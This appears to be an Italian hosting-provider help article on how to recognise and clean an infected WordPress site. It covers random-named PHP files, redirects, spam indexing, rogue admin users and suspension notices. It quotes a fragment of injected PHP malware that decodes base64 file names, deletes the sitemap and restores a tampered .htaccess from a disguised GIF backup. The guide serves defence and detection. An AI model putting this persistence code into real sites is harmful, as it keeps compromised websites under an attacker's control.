WordPress è il CMS più utilizzato al mondo. Questo fa sì che i suoi aggiornamenti, plugin e altri strumenti ricevano più supporto rispetto ad altre piattaforme.
Essendo di gran lunga il più utilizzato, è anche il CMS più attaccato, quindi è piuttosto comune imbattersi in un WordPress infetto.
Se utilizziamo una versione di WordPress obsoleta o alcuni dei nostri plugin non sono aggiornati, è possibile che presentino una vulnerabilità di sicurezza e che venga quindi iniettato codice nei file del nostro sito web.
Per analizzare il nostro sito, dobbiamo distinguere due tipi di infezioni che possono colpire WordPress:
Infezioni nei file, normalmente nel tema o nei plugin. Esistono infezioni che si propagano e altre che non si propagano.
Infezioni nel database, che si verificano quando il malware viene iniettato direttamente nel database di WordPress.
In questa guida mostreremo una serie di sintomi che il nostro sito può presentare se è stato infettato, in modo generico, poiché esistono moltissimi tipi di infezioni. Ci concentreremo sulle infezioni dei file, che sono molto più comuni e generiche; quelle del database è meglio analizzarle caso per caso.
IMPORTANTE: Avere i plugin completamente aggiornati non garantisce la sicurezza dell’hosting. Mantenere WordPress e i plugin aggiornati riduce queste possibilità e aiuta a prevenire infezioni dovute a vulnerabilità comuni e conosciute, ma non garantisce al 100% che non possa essere iniettato codice.
Prima di tutto vediamo come individuare file infetti. In molti casi si possono identificare già dal nome del file, che presenta caratteri senza senso e sospetti. Di solito sono file .php. Ecco due esempi:
ffkoklhu.php
e6b6m5ju.php
Non sempre i file infetti sono così evidenti, perché spesso l’infezione avviene su file già esistenti del sito. Di seguito mostriamo un esempio di codice iniettato, tenendo presente che può variare molto:
//ckIIbg
$nowHtacFile = base64_decode("Li8uaHRhY2Nlc3M=");
$nowIndexFile = base64_decode("Li9pbmRleC5waHA=");
$bkLocalFileIndex1 = './wp-includes/images/smilies/icon_devil.gif';
$bkLocalFileHtac1 = './wp-includes/images/smilies/icon_crystal.gif';
$sitemap = base64_decode("Li9zaXRlbWFwLnhtbA==");
@unlink($sitemap);
if($nowHtacFile && file_exists($bkLocalFileHtac1)){
if(!file_exists($nowHtacFile) or (filesize($nowHtacFile) != filesize($bkLocalFileHtac1))){
@chmod($nowHtacFile,0755);
@file_put_contents($nowHtacFile,file_get_contents($bkLocalFileHtac1));
@chmod($nowHtacFile,0555);
}
}
In questo esempio possiamo vedere l’uso di base64_decode e nomi casuali (Li9pbmRleC5waHA o //ckIIbg) che non sembrano avere un’origine lecita.
IMPORTANTE: Modificare il codice di file vitali può compromettere il funzionamento del sito. Si raccomanda cautela nell’eliminare righe di codice o di rivolgersi a uno sviluppatore web per una revisione.
Inoltre, puoi utilizzare questo strumento di Google per verificare se rileva contenuti non sicuri sul tuo hosting:
Reindirizzamento a pagine indesiderate
Può accadere che, tentando di accedere alla homepage o a un link interno, si venga reindirizzati automaticamente a una pagina esterna o con contenuti non leciti.
Probabilmente è presente un’infezione in uno dei file del sito.
Come risolvere: Nella maggior parte dei casi il reindirizzamento è dovuto a un’iniezione di codice in un file web. Occorre effettuare un analisi dei file web per individuare ed eliminare il codice responsabile. Se gli strumenti automatici non bastano, sarà necessario controllare manualmente il codice.
Consigliamo di installare il plugin Wordfence per analizzare regolarmente il sito.
cdmon offre backup degli ultimi 15 giorni per poter ripristinare il sito a uno stato precedente all’infezione.
Indicizzazione spam su Google
È comune che un sito infetto appaia con contenuti spam nei risultati di Google.
Per verificare se è solo un problema di indicizzazione Google, prova la stessa ricerca su un altro motore di ricerca, ad esempio Bing:
Se succede solo su Google, è probabile che sia un problema di indicizzazione e sarà necessario richiedere una nuova indicizzazione tramite Google Search Console.
IMPORTANTE: Se il problema si verifica su tutti i motori di ricerca, si consiglia un’analisi approfondita di file e database per individuare eventuali iniezioni di codice che compromettono la SEO.
Utenti WordPress creati automaticamente
In alcuni casi vengono creati utenti nel pannello di amministrazione. Questo può essere un esempio di gestione utenti in un WordPress infetto:
Come si può vedere, compaiono utenti con nomi ed email sospetti.
Se WordPress è stato installato tramite l’autoinstallatore di cdmon, l’utente viene creato automaticamente. Per verificare quello corretto, controlla le credenziali nella gestione hosting.
Suggerimenti: Aggiorna WordPress e i plugin ed esegui un’analisi dei file. Successivamente cambia la password del database MySQL e aggiornala nel file wp-config.php.
Sospensione temporanea dell’hosting
Può capitare di visualizzare un messaggio di sospensione come il seguente:
Questo è un messaggio del server cdmon. Appare quando il servizio è scaduto o quando viene rilevato malware e l’hosting viene sospeso temporaneamente fino alla risoluzione del problema.
In tal caso, riceverai una notifica all’indirizzo email associato al tuo account cdmon con maggiori informazioni.